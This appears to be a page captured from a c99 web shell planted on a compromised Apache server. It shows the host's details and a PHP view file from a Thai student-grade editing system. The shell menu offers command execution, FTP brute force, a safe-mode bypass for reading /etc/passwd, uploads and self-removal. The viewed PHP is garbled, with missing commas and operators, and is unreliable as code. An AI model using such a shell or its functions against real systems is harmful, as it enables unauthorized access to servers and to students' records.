!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_beforeEditSendGrade.php (7.59 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_std 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."grade/processEditSendGrade", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td align="center"><font class="h error">แก้เกรดนักศึกษาแยกตามรายวิชา</font></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
<?php
                    
if($row_std==NULL) {
?>
                    <tr>
                        <td colspan="2" align="center"><font color="<?php echo $font_color_err;?>" size="2">** กรุณาตรวจสอบข้อมูลนักศึกษา <a href="<?php echo site_url($this->config->item('rg_folder')."grade/searchSendGrd");?>">คลิกที่นี่</a> **</font></td>
                    </tr>
<?php
                    
} else {
?>                    
                    <tr>
                        <td colspan="2"><table class="szone">
                            <tr bgcolor="<?php echo $tr_color_even;?>">
                                <td class="coltd_szone">รหัสนักศึกษา</td>
                                <td width="700"><font size="2"><?php echo setValue('stdCode',$row_std);?></font>
                                <input type="hidden" name="stdCode" id="stdCode" value="<?php echo setValue('stdCode',$row_std);?>" />
                                <input type="hidden" name="stdId" id="stdId" value="<?php echo setValue('stdId',$row_std);?>" /></td>
                                <td rowspan="5" align="center" valign="center">
                                <img src="<?php echo base_url().$this->config->item('rg_pictureStd').$row_std->sdtPicturePath;?>" align="absmiddle" border="1" width="100" height="115" /></td>
                            </tr>
                            <tr bgcolor="<?php echo $tr_color_even;?>">
                                <td class="coltd_szone">ชื่อ-นามสกุลนักศึกษา</td>
                                <td><font size="2"><?php echo setValue('pfName',$row_std).setValue('stdName',$row_std).' '.setValue('stdSurname',$row_std);?></font></td>
                            </tr>
                            <tr bgcolor="<?php echo $tr_color_even;?>">
                                <td class="coltd_szone">หลักสูตร</td>
                                <td><font size="2"><?php echo setValue('curName',$row_std);?></font></td>
                            </tr>
                            <tr bgcolor="<?php echo $tr_color_even;?>">
                                <td class="coltd_szone">ระดับการศึกษา</td>
                                <td><font size="2"><?php echo setValue('levelName',$row_std);?></font></td>
                            </tr>
                            <tr bgcolor="<?php echo $tr_color_even;?>">
                                <td class="coltd_szone">ชั้นปีที่</td>
                                <td><font size="2"><?php echo setValue('syCode',$row_std);?></font>
                                <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>" />
                                <input type="hidden" name="tmId" id="tmId" value="<?php echo $tmId;?>" /></td>
                            </tr>
                        </table></td>
                    </tr>
                    <tr>
                        <td colspan="2"><br /></td>
                    </tr>
                    <tr>
                        <td colspan="2"><span class="h">รายวิชาที่ลงทะเบียนเรียนใน ปีการศึกษา <?php echo $acY;?> ภาคการศึกษา <?php echo $tmId;?></span><br></td>
                    </tr>
                    <tr>
                        <td colspan="2"><table class="headCol">
                            <tr>
                                <th class="seqCol">ที่</th>
                                <th>รหัสวิชา / ชื่อวิชา</th>
                                <th class="editCol">กลุ่ม</th>
                                <th class="seqCol">หน่วยกิต</th>
                                <th class="hourCol">เกรด (เลขที่คำสั่ง)</th>
                                <th class="stdCodeCol">ผู้ปรับปรุงล่าสุด</th>
                                <th class="editCol">แก้ไข</td>
                            </tr>
<?php
                    $i 
0;
                    if(isset(
$rs_rd) && $rs_rd->num_rows()) {
                        foreach(
$rs_rd->result() as $row_rd) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                                <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                                <td class="indent"><font size="2"><?php echo $row_rd->crsCode.' '.explodeSquare($row_rd->crsName);?></font></td>
                                <td align="center"><font size="2"><?php echo $row_rd->coSection;?></font></td>
                                <td align="center"><font size="2"><?php echo $row_rd->crsUnit;?></font></td>
                                <td align="center">
<?php
                                
if(isset($flgShow) && $flgShow==$row_rd->coId) {

                                    echo 
form_dropdown('rdGrade'$rs_grdset_value('rdGrade',setValue('rdGrade',$row_rd)));
?>
                                (<input type="text" name="docNo" id="docNo" value="<?php echo setValue('docNo',$row_rd->rdDocNo);?>" size="5" maxlength="10" />)
                                <font color="<?php echo $font_color_err;?>" size="2">*</font>
                                <br /><?php echo form_error('grdId') ? form_error('grdId') : form_error('docNo');?>
<?php
                                
} else {
?>
                                <font size="2"><?php echo $row_rd->rdGrade;?><?php if($row_rd->rdDocNo!='') { echo ' ('.$row_rd->rdDocNo.')';};?></font>
<?php
                                
}
?>
                                </td>
                                <td class="indent"><?php echo $row_rd->rdUpdateUserId;?></td>
                                <td align="center">
<?php
                                
if(isset($flgShow) && $flgShow==$row_rd->coId) {
?>
                                <!-- <input type="submit" name="edit" id="edit" value="แก้ไข" onClick="return checkDocNo();" /> -->
                                <input type="submit" name="edit_bnt" id="edit_bnt" value="แก้ไข" />
                                <input type="hidden" name="coId" id="coId" value="<?php echo $row_rd->coId;?>" />
<?php
                                
} else {
?>
                                <img src="<?php echo base_url().$this->config->item("rg_edit");?>" align="absmiddle" border="0" class="hand" onClick="sendPost(
                                'hidform',
                                {'coId':<?php echo $row_rd->coId;?>,
                                 'stdId':<?php echo setValue('stdId',$row_std);?>,
                                 'stdCode':<?php echo setValue('stdCode',$row_std);?>,
                                 'acY':<?php echo $acY;?>,
                                 'tmId':<?php echo $tmId;?>,
                                 'edit':<?php echo 1;?>},
                                 '<?php echo site_url($this->config->item('rg_folder').'grade/editSendGrade');?>')" />
<?php
                                
}
?>
                                </td>
                            </tr>
<?php
                            $i
++;
                        }
                    } else {
?>
                            <tr>
                                <td height="22" colspan="6" align="center"><font color="<?php echo $font_color_err;?>" size="2">** ไม่ปรากฎรายการลงทะเบียนเรียนใน ปีการศึกษา <?php echo $acY;?> ภาคการศึกษา <?php echo $tmId;?> **</font></td>
                            </tr>
<?php
                    
}
?>
                        </table></td>
                    </tr>
                    <tr>
<?php
                        
if(isset($flgShow)) {
?>
                        <td><input type="button" name="cancel" value="ยกเลิก" onClick="sendPost(
                        'hidform',
                        {'stdCode':<?php echo setValue('stdCode',$row_std);?>,
                         'acY':<?php echo $acY;?>,
                         'tmId':<?php echo $tmId;?>},
                         '<?php echo site_url($this->config->item('rg_folder').'grade/editSendGrade');?>')" /></td>
<?php
                        
}
?>
                        <td align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
                    </tr>
<?php                
                    
}
?>
                </table></td>
            </tr>
        </table><?php echo form_close();?></div></td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ : </b></span></td>
                <td><span class="error">คลิกที่ <img src="<?php echo base_url().$this->config->item("rg_edit");?>" align="absmiddle" border="0"> เพื่อแก้เกรดนักศึกษา</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0101 ]--